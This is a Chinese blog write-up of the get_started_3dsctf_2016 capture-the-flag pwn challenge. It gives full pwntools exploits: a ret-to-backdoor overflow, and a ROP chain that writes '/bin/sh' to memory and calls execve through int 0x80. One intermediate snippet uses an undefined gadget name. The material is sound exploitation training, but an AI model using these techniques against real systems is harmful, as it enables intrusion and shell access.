【syscall】get_started_3dsctf_2016

Thursday, December 29, 2022
本文共2828字
6分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/syscallget_started_3dsctf_2016/。商业转载请联系作者获得授权,非商业转载请注明出处!

We are shaped by our thoughts; we become what we think. When the mind is pure, joy follows like a shadow that never leaves. — Buddha

原题链接

在做题前,我先为其建立了一个专门的工作目录: 202209062206042022-09-06-22-06-04

checksec 查看架构

202209062207232022-09-06-22-07-23

看来是 32 位的程序。我们首先就要想到,32 位程序的参数传递方式和 64 位程序的是不一样的:

  • 32 位将参数从右到左先后压入栈中
  • 64 位程序将参数分别用 RDI,RSI,RCX,RDX,R8,R9 作为第 1-6 个参数,用 RAX 保存返回值

所以,我们调用 system 函数的思路就不一样了。我们就不需要 pop rdi;ret 这个 gadget(在 32 位程序中也找不到),而是只需要注意用 ret 这个 gadget 保持栈返回时最后一位为 0 即可(system 特殊规定),可以参考这里

但是如果程序很好心地为我们提供了后门函数,那上面的这些也不用考虑了

同时,我们要注意 32 位程序由于参数保存在栈中,call 的同时还会将【下一条指令的偏移】压入栈中,因此我们要为【下一条指令的偏移】预留出位置

ida 查看程序(伪)代码

main 函数

202209062217032022-09-06-22-17-04

看来是简单的栈溢出

值得注意的是,这里有一个小坑,即 printf 和 puts 的区别。

printf 在调用完后并不会马上打印出字符串,而是等待刷新缓冲区的指令之后才显示字符串。在这里就体现为,到 gets 函数向用户请求输入时,还没有任何字符串显示。

因此,可能有人会在写 exp 的时候,一直等待字符串输出,看一直没反应还以为自己 payload 写错了(

具体的 printf 和 puts 的区别可以看这位大佬的博文,非常详细

后门函数

202209062232592022-09-06-22-32-59

然后我们就发现了程序好心为我们提供的后门函数(

只要我们传入参数分别为 814536271 和 425138641,那么我们就能得到 flag 的内容

构建 exp

通过后门函数构建 exp

步骤如下:

  1. 首先我们要找到 offset 溢出到 return 的栈地址,这通过 ida 很容易发现 202209062236332022-09-06-22-36-34
  2. 然后我们就将后门函数地址和参数值填入栈中即可
# pg = p32
payload = b"a"*0x38 + pg(0x80489a0) + pg(0) + pg(814536271) + pg(425138641)

然后直接 sendline 就 🆗 啦

完整 exp1

from pwn import *
from pwn import p64, p32

pss: bool = False
fn: str = "./get_started_3dsctf_2016"
libc_name:str = ""
port: str = "25191"
if_32: bool = True
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    p = process(fn)

payload = b"a"*0x38 + pg(0x80489a0) + pg(0) + pg(814536271) + pg(425138641)
p.sendline(payload)
p.interactive()

通过 syscall 构建 exp

我们通过 ida 可以得知,该程序 plt 表内没有 system 函数也没有 execve 函数,同时此题又是静态编译,就不能适用 ret2libc 的方法从 libc 中找到 system。

但是我们可以通过程序中断时产生的系统调用来执行 execve 这个中断程序

全部中断程序编号见此

这里我们只需要找到 59 号中断程序,向它传参即可

64 位编号是 59,也就是 0x3b

202209062254342022-09-06-22-54-35

32 位编号是 11,也就是 0xb。

202209062255302022-09-06-22-55-30

同时,因为我们的程序是 32 位的,我们需要将编号传给 eax 寄存器,剩余参数分别传入 ecx,edx,esi,edi,ebp 中

202209062259352022-09-06-22-59-35

然后,我们要找到这几个参数对应的值。execve 函数后两个参数可以不管设为 0,但是第一个参数应该是/bin/sh或者sh

为了将这几个参数送入寄存器中,我们还需要一个 gadget,不仅可以完成任务,还可以通过ret指令接着读下一条指令

我们用ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax找 gadget:

比较遗憾的是,没有刚刚好的 gadget,但是有一条勉强可用:

0x080b91e6 : pop eax ; ret

那我们继续找 ebx、ecx、edx:

$ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx
0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e4c4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0809a7dc : pop ebx ; pop edi ; ret
0x0806fc09 : pop ebx ; pop edx ; ret
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
0x080483b7 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a25b6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096b1e : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x080718b1 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0804ab66 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049a95 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x080509a5 : pop ebx ; pop esi ; pop edi ; ret
0x080498af : pop ebx ; pop esi ; pop edi ; ret 4
0x08049923 : pop ebx ; pop esi ; ret
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

其中,有一条一下子就能同时设置三个需要用的寄存器:

0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
  1. 那现在我们的栈从低到高就应该是 eax->edx->ecx->ebx
  2. 然后我们需要找到int 0x80这个 32 位系统调用 system call 的中断指令(64 位就是 syscall):0x0806d7e5 : int 0x80
  3. 然后我们需要找到填入 ebx 寄存器的/bin/sh。结果是没有/bin/sh

PS.这里不能直接找sh字符串,因为 execve 函数第一个参数是 path,必须是绝对地址,而且必须是二进制文件(或者脚本文件,但是只会执行!#之后的那个解释器)。在 Linux 系统种的sh命令是软链接,并不是二进制文件

具体可以查看这篇博客这篇博客也很不错

没有现成"/bin/sh":构建字符串

这题是静态链接,没法 ret2libc。

但是,我们可以找一处没有用到的地址,利用一些 gadget 将我们需要的值写进去,然后我们就得到了一个程序可以使用的"/bin/sh"字符串地址!

首先我们需要一条指令,支持我们向内存中写入值,这样我们就可以 pop 栈中的值到寄存器,再将空闲内存的地址赋给另一个寄存器,这样就可以向空闲地址写入值了

通过ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret"命令然后我们找到了这个可用的 gadget:

# dword表示双字,就是四个字节,刚好是32位寄存器的大小
0x080557ab : mov dword ptr [edx], eax ; ret

然后我们可以直接利用之前找到过的pop edx;pop ecx;pop ebx;ret将地址弹到 edx 中

然后我们用 ida 找到一块闲置空间(一直滚到.data 段,最后有一小段重复的 db 0)

202209080117042022-09-08-01-17-04

然后我们就可以完成我们的 payload 了:

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
spare_space = 0x080EB0C0

payload = b'a'*0x38+pg(pop_eax_ret)+b"/bin"+pg(pop_edx_ecx_ebx_ret) + \
    pg(spare_space)+pg(0)+pg(0)+pg(mov_ecx_eax_ret)
payload += pg(pop_eax_ret)+b'/sh\x00'+pg(pop_edx_ecx_ebx_ret) + \
    pg(spare_space+4)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+pg(0xb)+pg(pop_edx_ecx_ebx_ret) + \
    pg(0)+pg(0)+pg(spare_space)+pg(int80)

完整 exp2


from pwn import *
from pwn import p64, p32

pss: bool = False
fn: str = "./get_started_3dsctf_2016"
# libc_name: str = ""
port: str = ""
if_32: bool = True
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if_debug: bool = False

if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        shell = gdb.debug(fn, "b* 0x8048A40")
    else:
        p = process(fn)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
spare_space = 0x080EB0C0
pop_edx_ret = 0x0806fc0a
pop_ecx_ebx_ret = 0x0806fc31
mov_ecx_eax_ret = 0x080701a5

payload = b'a'*0x38+pg(pop_eax_ret)+b"/bin"+pg(pop_edx_ecx_ebx_ret) + \
    pg(spare_space)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+b'/sh\x00'+pg(pop_edx_ecx_ebx_ret) + \
    pg(spare_space+4)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+pg(0xb)+pg(pop_edx_ecx_ebx_ret) + \
    pg(0)+pg(0)+pg(spare_space)+pg(int80)
if if_debug:
    shell.sendline(payload)
    shell.interactive()
else:
    p.sendline(payload)
    p.interactive()

一些悬而未决的小问题

作者试图不使用pop edx;pop ecx;pop ebx;ret只使用pop edx;ret

我们用 ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret"命令找到了pop edx的命令

0x0806fc0a : pop edx ; ret

看起来似乎没有问题

令人疑惑的是,这样子连栈都没法写入(在 pop eax 后就是连串的 popal),可能是我找的这个 gadget 本身有点小问题

但是我尝试了pop ecx;pop ebx;retmov [ecx+4], eax,程序完全正常运作,可以正常得到 shell

payload 如下:

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
spare_space = 0x080EB0C0
pop_edx_ret = 0x0806fc0a
pop_ecx_ebx_ret = 0x0806fc31
mov_ecx_eax_ret = 0x080701a5

# 这里一定要-4,因为gadget加了4
payload = b'a'*0x38+pg(pop_eax_ret)+b"/bin"+pg(pop_ecx_ebx_ret) + \
    pg(spare_space-4)+pg(0)+pg(0)+pg(mov_ecx_eax_ret)
payload += pg(pop_eax_ret)+b'/sh\x00'+pg(pop_edx_ecx_ebx_ret) + \
    pg(spare_space+4)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+pg(0xb)+pg(pop_edx_ecx_ebx_ret) + \
    pg(0)+pg(0)+pg(spare_space)+pg(int80)
无法执行其他二进制文件

作者一开始试图execve("sh", 0, 0),但是查阅资料后明白只能执行二进制文件,于是又试图执行/bin/ls/usr/bin/python3.10,但是均因不明原因失败了


如果各位看官知道了原因,可以劳烦您在评论区为作者和后来人作一番解释吗?感激不尽!